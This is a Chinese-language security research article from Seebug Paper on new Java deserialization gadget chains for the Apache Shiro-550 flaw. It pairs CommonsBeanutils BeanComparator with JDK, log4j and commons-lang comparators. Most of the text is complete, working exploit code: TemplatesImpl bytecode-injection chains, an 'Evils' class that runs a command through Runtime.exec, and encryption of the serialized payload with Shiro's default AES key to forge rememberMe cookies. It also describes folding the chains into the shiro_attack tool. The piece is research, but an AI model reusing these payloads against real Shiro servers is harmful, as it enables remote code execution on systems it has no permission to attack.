作者:SummerSec
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
JDK內置
上文說到,在JDK8u中查到了結果,一共又7個類可以替代ComparableComparator類。但可以直接調用實例化的類只用兩個,String#CASE_INSENSITIVE_ORDER和AttrCompare,其他5個類權限皆是private。不能直接調用,只能通過反射調用,不過兩個類也夠用了,故本文只說這兩個,其他的類有興趣可以去看看。
AttrCompare
Compares two attributes based on the C14n specification.(根據C14n規范比較兩個屬性)。這段話是官方對該類的描述。AttrCompare是在包com.sun.org.apache.xml.internal.security.c14n.helper下的一個類,是用Attr接口實現類比較方法。
public int compare(Attr attr0, Attr attr1) {
String namespaceURI0 = attr0.getNamespaceURI();
String namespaceURI1 = attr1.getNamespaceURI();
boolean isNamespaceAttr0 = XMLNS.equals(namespaceURI0);
boolean isNamespaceAttr1 = XMLNS.equals(namespaceURI1);
if (isNamespaceAttr0) {
if (isNamespaceAttr1) {
// both are namespaces
String localname0 = attr0.getLocalName();
String localname1 = attr1.getLocalName();
if ("xmlns".equals(localname0)) {
localname0 = "";
}
if ("xmlns".equals(localname1)) {
localname1 = "";
}
return localname0.compareTo(localname1);
}
// attr0 is a namespace, attr1 is not
return ATTR0_BEFORE_ATTR1;
} else if (isNamespaceAttr1) {
// attr1 is a namespace, attr0 is not
return ATTR1_BEFORE_ATTR0;
}
// none is a namespace
if (namespaceURI0 == null) {
if (namespaceURI1 == null) {
String name0 = attr0.getName();
String name1 = attr1.getName();
return name0.compareTo(name1);
}
return ATTR0_BEFORE_ATTR1;
} else if (namespaceURI1 == null) {
return ATTR1_BEFORE_ATTR0;
}
int a = namespaceURI0.compareTo(namespaceURI1);
if (a != 0) {
return a;
}
return (attr0.getLocalName()).compareTo(attr1.getLocalName());
}
compare方法是一個有參方法,所以在調用方法時并不能直接傳入兩個String類型或者Object類型。

然而Attr是一個接口,不能直接實例化,只能找實現類。這里我使用的是com\sun\org\apache\xerces\internal\dom\AttrNSImpl.java類。

AttrCompare attrCompare = new AttrCompare();
AttrNSImpl attrNS = new AttrNSImpl();
attrNS.setValues(new CoreDocumentImpl(),"1","1","1");
attrCompare.compare(attrNS,attrNS);
最終利用代碼:
package summersec.shirodemo.Payload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutilsAttrCompare {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
AttrNSImpl attrNS1 = new AttrNSImpl(new CoreDocumentImpl(),"1","1","1");
final BeanComparator comparator = new BeanComparator(null, new AttrCompare());
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(attrNS1);
queue.add(attrNS1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[] payloads = new CommonsBeanutilsAttrCompare().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
最終實際結果

String#CASE_INSENSITIVE_ORDER
該類在p牛文章詳細介紹了,這里直接貼代碼吧。
package summersec.shirodemo.Payload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/**
* @ClassName: CommonsBeanutils1Shiro
* @Description: TODO
* @Author: Summer
* @Date: 2021/5/19 16:23
* @Version: v1.0.0
* @Description: 參考https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
**/
public class CommonsBeanutilsString {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
// byte[] bytes = Evil.class.getName().getBytes();
// byte[] payloads = new CommonsBeanutils1Shiro().getPayload(bytes);
byte[] payloads = new CommonsBeanutilsString().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
第三方依賴
在挖掘完前面兩個類的時候,我就在想其他第三方組件里面會不會存在呢?于是乎就有了下面的結果,測試了43個開源項目,其中15個有。這里只談論了兩個組件apache/log4j、apache/Commons-lang

PropertySource#Comparator
PropertySource#Comparator是在組件log4j-api下的一個類,log4j是Apache基金會下的一個Java日志組件,寬泛被應用在各大應用上,在spring-boot也能看到其身影。


PropertySource#Comparator的代碼只有八行,其中比較方法也是有參方法,參數類型是PropertySource。
class Comparator implements java.util.Comparator<PropertySource>, Serializable {
private static final long serialVersionUID = 1L;
@Override
public int compare(final PropertySource o1, final PropertySource o2) {
return Integer.compare(Objects.requireNonNull(o1).getPriority(), Objects.requireNonNull(o2).getPriority());
}
}
構造成gadget鏈的最終代碼如下,在第38行開始是實現接口PropertySource的,不過也可以只寫一個實現類就行。
ps:這里就不在演示效果。
package summersec.shirodemo.Payload;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.logging.log4j.util.PropertySource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutilsPropertySource<pubilc> {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
PropertySource propertySource1 = new PropertySource() {
@Override
public int getPriority() {
return 0;
}
};
PropertySource propertySource2 = new PropertySource() {
@Override
public int getPriority() {
return 0;
}
};
final BeanComparator comparator = new BeanComparator(null, new PropertySource.Comparator());
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(propertySource1);
queue.add(propertySource2);
setFieldValue(comparator, "property", "outputProperties");
// setFieldValue(comparator, "property", "output");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static class Evils extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evils() throws Exception {
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evils.class.getName());
byte[] payloads = new CommonsBeanutilsPropertySource().getPayload(clazz.toBytecode());
ByteArrayInputStream bais = new ByteArrayInputStream(payloads);
// System.out.println(bais.read());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
// AesCipherService aes = new AesCipherService();
// byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
//
// ByteSource ciphertext = aes.encrypt(payloads, key);
// System.out.printf(ciphertext.toString());
}
}
ObjectToStringComparator
ObjectToStringComparator是apache屬于下的Commons-lang組件,也是一個比較典型的組件。

該類的Compare方法參數是Object類型,比較簡單。
直接貼出代碼:
package summersec.shirodemo.Payload;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.lang3.compare.ObjectToStringComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutilsObjectToStringComparator<pubilc> {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
final BeanComparator comparator = new BeanComparator(null, stringComparator);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(stringComparator);
queue.add(stringComparator);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static class Evils extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evils() throws Exception {
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evils.class.getName());
byte[] payloads = new CommonsBeanutilsObjectToStringComparator().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
集成化--自動化
挖掘之后在想如何集成到工具里面時,使用shiro_attack發現,該工具里面是集成p牛的鏈。但本地測試的時候沒有成功,看環境報錯問題還是serialVersionUID 的問題。可惜2.0版本的shiro_attack并不開源,拿著1.5版本的源碼將其去掉了原依賴的CommonsBeanutils組件,并且將shiro的版本改成了1.2.4。
玩到后面,我想了一個問題。如果開發人員,沒有以這種方式去掉依賴或者其他方式去掉該依賴,亦或者依賴了更高的版本CommonsBeanutils依賴,那么shiro550漏洞在有key的情況下,是幾乎不可能拿不下的!
<exclusions>
<exclusion>
<artifactId>org.apache.commons</artifactId>
<groupId>commons-beanutils</groupId>
</exclusion>
</exclusions>
那么就是以下的情況,只需要在挖掘更多的gadget和解決高版本CommonsBeanutils的serialVersionUID不同問題。

目前CommonsBeanutils最高版本是1.9.4(截至本文創作時間)
CommonsBeanutils的1.9.4的升級描述是,也就是說默認情況下還是存在反序列化漏洞的,實測也存在著。
A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the class property of Java objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows class level property access by default, thus protecting against CVE-2014-0114.
在1.9.2版本中加入了一個特殊的BeanIntrospector類。這可以用來阻止攻擊者使用Java對象的class屬性來獲得對classloader的訪問。然而,這種保護在默認情況下是不啟用的。PropertyUtilsBean(以及隨之而來的BeanUtilsBean)現在默認不允許類級屬性訪問,從而防止CVE-2014-0114。

總結
理論上JDK內置的兩個gadget是只要存在CommonsBeanutils組件(無論版本)是一定可以拿下的shiro550的,但作為一種思路我還是去研究了其他的組件。本文還是遺漏一個問題,遇到不同版本的CommonsBeanutils如何解決serialVersionUID 不同的問題?我能目前能想到方法是,首先判斷CommonsBeanutils組件的版本,這個問題還是做不到。只能盲猜,用盲打的方式一個個版本嘗試一次,但此方法還是比較耗時耗力。
-
CommonsBeansutils 在shiro-core1.2.4是1.8.3版本,高版本的shiro里面的版本不同。
-
- String.CASE_INSENSITIVE_ORDER --> JDK
- AttrCompare --> JDK
- ObjectToStringComparator --> apache/commons-lang
- PropertySource.Comparator() --> apache/log4j
........
其實在看p牛的文章的時間花了很久很久,基本上有一段時間文章鏈接在瀏覽器一直是存在的。其中還有一段時間我又去研究回顯了,在機緣巧合的一天,妹子沒回我消息。我重新打開電腦,研究起來然后靈光一閃......
如有錯誤還請諒解,本文只是個人見解。
參考
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1839/
暫無評論